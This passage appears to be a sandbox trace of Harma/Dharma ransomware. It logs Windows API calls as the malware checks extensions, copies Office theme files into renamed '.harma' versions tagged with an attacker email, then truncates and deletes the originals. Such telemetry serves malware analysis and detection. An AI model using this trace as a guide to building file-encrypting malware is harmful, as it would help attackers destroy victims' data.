Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.170] lstrlenW (lpString=".1cd") returned 4 [0144.170] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.170] lstrlenW (lpString=".jpg") returned 4 [0144.170] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.170] lstrlenW (lpString=".doc") returned 4 [0144.170] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString=".docx") returned 5 [0144.170] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0144.170] lstrlenW (lpString=".pdf") returned 4 [0144.170] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString=".xls") returned 4 [0144.170] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString=".xlsx") returned 5 [0144.170] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0144.170] lstrlenW (lpString=".ppt") returned 4 [0144.170] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.170] lstrlenW (lpString=".zip") returned 4 [0144.170] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString=".rar") returned 4 [0144.170] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString=".bz2") returned 4 [0144.170] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString=".7z") returned 3 [0144.170] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0144.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.170] lstrlenW (lpString=".dbf") returned 4 [0144.170] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0144.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.171] lstrlenW (lpString=".1cd") returned 4 [0144.171] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0144.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx") returned 82 [0144.171] lstrlenW (lpString=".jpg") returned 4 [0144.171] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0144.171] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0144.171] lstrlenW (lpString="Aspect.eftx") returned 11 [0144.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0144.323] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=22554) returned 1 [0144.323] CloseHandle (hObject=0x34c) returned 1 [0144.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 0x20 [0144.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0144.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0144.633] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.634] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0144.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0146.127] GetLastError () returned 0x0 [0146.127] ReadFile (in: hFile=0x334, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x581a, lpOverlapped=0x0) returned 1 [0146.156] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x5820, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x5820, lpOverlapped=0x0) returned 1 [0146.157] ReadFile (in: hFile=0x334, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.157] WriteFile (in: hFile=0x34c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0146.157] SetEndOfFile (hFile=0x34c) returned 1 [0146.157] CloseHandle (hObject=0x34c) returned 1 [0146.158] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.158] SetEndOfFile (hFile=0x334) returned 1 [0146.160] CloseHandle (hObject=0x334) returned 1 [0146.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx")) returned 1 [0146.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.192] lstrlenW (lpString=".doc") returned 4 [0146.192] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.192] lstrlenW (lpString=".docx") returned 5 [0146.192] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.192] lstrlenW (lpString=".pdf") returned 4 [0146.192] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.192] lstrlenW (lpString=".xls") returned 4 [0146.192] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.192] lstrlenW (lpString=".xlsx") returned 5 [0146.192] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.192] lstrlenW (lpString=".ppt") returned 4 [0146.192] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.193] lstrlenW (lpString=".zip") returned 4 [0146.193] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString=".rar") returned 4 [0146.193] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString=".bz2") returned 4 [0146.193] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString=".7z") returned 3 [0146.193] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.193] lstrlenW (lpString=".dbf") returned 4 [0146.193] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.193] lstrlenW (lpString=".1cd") returned 4 [0146.193] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.193] lstrlenW (lpString=".jpg") returned 4 [0146.193] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.193] lstrlenW (lpString=".doc") returned 4 [0146.193] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString=".docx") returned 5 [0146.193] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.193] lstrlenW (lpString=".pdf") returned 4 [0146.193] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString=".xls") returned 4 [0146.193] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString=".xlsx") returned 5 [0146.193] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.193] lstrlenW (lpString=".ppt") returned 4 [0146.193] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.194] lstrlenW (lpString=".zip") returned 4 [0146.194] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.194] lstrlenW (lpString=".rar") returned 4 [0146.194] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.194] lstrlenW (lpString=".bz2") returned 4 [0146.194] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.194] lstrlenW (lpString=".7z") returned 3 [0146.194] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.194] lstrlenW (lpString=".dbf") returned 4 [0146.194] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.194] lstrlenW (lpString=".1cd") returned 4 [0146.194] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx") returned 78 [0146.194] lstrlenW (lpString=".jpg") returned 4 [0146.194] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.194] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0146.194] lstrlenW (lpString="Metro.eftx") returned 10 [0146.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0146.217] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=24117) returned 1 [0146.217] CloseHandle (hObject=0x330) returned 1 [0146.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20 [0146.217] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0146.217] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.217] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0146.218] GetLastError () returned 0x0 [0146.218] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x5e35, lpOverlapped=0x0) returned 1 [0146.220] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x5e40, lpOverlapped=0x0) returned 1 [0146.221] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.221] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0146.221] SetEndOfFile (hFile=0x328) returned 1 [0146.221] CloseHandle (hObject=0x328) returned 1 [0146.222] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.222] SetEndOfFile (hFile=0x330) returned 1 [0146.224] CloseHandle (hObject=0x330) returned 1 [0146.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1 [0146.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.225] lstrlenW (lpString=".doc") returned 4 [0146.225] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.225] lstrlenW (lpString=".docx") returned 5 [0146.225] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.225] lstrlenW (lpString=".pdf") returned 4 [0146.225] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.225] lstrlenW (lpString=".xls") returned 4 [0146.225] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.225] lstrlenW (lpString=".xlsx") returned 5 [0146.225] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.225] lstrlenW (lpString=".ppt") returned 4 [0146.225] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.225] lstrlenW (lpString=".zip") returned 4 [0146.225] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.225] lstrlenW (lpString=".rar") returned 4 [0146.225] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.225] lstrlenW (lpString=".bz2") returned 4 [0146.225] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.225] lstrlenW (lpString=".7z") returned 3 [0146.225] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.226] lstrlenW (lpString=".dbf") returned 4 [0146.226] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.226] lstrlenW (lpString=".1cd") returned 4 [0146.226] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.226] lstrlenW (lpString=".jpg") returned 4 [0146.226] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.226] lstrlenW (lpString=".doc") returned 4 [0146.226] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString=".docx") returned 5 [0146.226] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.226] lstrlenW (lpString=".pdf") returned 4 [0146.226] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString=".xls") returned 4 [0146.226] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString=".xlsx") returned 5 [0146.226] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.226] lstrlenW (lpString=".ppt") returned 4 [0146.226] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.226] lstrlenW (lpString=".zip") returned 4 [0146.226] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString=".rar") returned 4 [0146.226] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString=".bz2") returned 4 [0146.226] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.226] lstrlenW (lpString=".7z") returned 3 [0146.226] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.227] lstrlenW (lpString=".dbf") returned 4 [0146.227] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.227] lstrlenW (lpString=".1cd") returned 4 [0146.227] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0146.227] lstrlenW (lpString=".jpg") returned 4 [0146.227] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.227] lstrcmpiW (lpString1=".eftx", lpString2=".harma") returned -1 [0146.227] lstrlenW (lpString="Module.eftx") returned 11 [0146.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0146.228] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=43357) returned 1 [0146.228] CloseHandle (hObject=0x330) returned 1 [0146.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 0x20 [0146.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0146.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0146.229] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.229] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0146.229] GetLastError () returned 0x0 [0146.229] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xa95d, lpOverlapped=0x0) returned 1 [0146.232] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xa960, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xa960, lpOverlapped=0x0) returned 1 [0146.233] ReadFile (in: hFile=0x330, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.233] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xea, lpOverlapped=0x0) returned 1 [0146.234] SetEndOfFile (hFile=0x328) returned 1 [0146.234] CloseHandle (hObject=0x328) returned 1 [0146.234] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.234] SetEndOfFile (hFile=0x330) returned 1 [0146.240] CloseHandle (hObject=0x330) returned 1 [0146.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1 [0146.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.242] lstrlenW (lpString=".doc") returned 4 [0146.242] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.242] lstrlenW (lpString=".docx") returned 5 [0146.242] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.242] lstrlenW (lpString=".pdf") returned 4 [0146.242] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.242] lstrlenW (lpString=".xls") returned 4 [0146.242] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0146.242] lstrlenW (lpString=".xlsx") returned 5 [0146.242] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0146.242] lstrlenW (lpString=".ppt") returned 4 [0146.242] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0146.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.242] lstrlenW (lpString=".zip") returned 4 [0146.242] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0146.242] lstrlenW (lpString=".rar") returned 4 [0146.242] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0146.242] lstrlenW (lpString=".bz2") returned 4 [0146.242] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0146.242] lstrlenW (lpString=".7z") returned 3 [0146.243] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.243] lstrlenW (lpString=".dbf") returned 4 [0146.243] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.243] lstrlenW (lpString=".1cd") returned 4 [0146.243] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.243] lstrlenW (lpString=".jpg") returned 4 [0146.243] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0146.243] lstrlenW (lpString=".doc") returned 4 [0146.243] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString=".docx") returned 5 [0146.243] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0146.243] lstrlenW (lpString=".pdf") returned 4 [0146.243] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0146.243] lstrlenW (lpString=".xls") returned 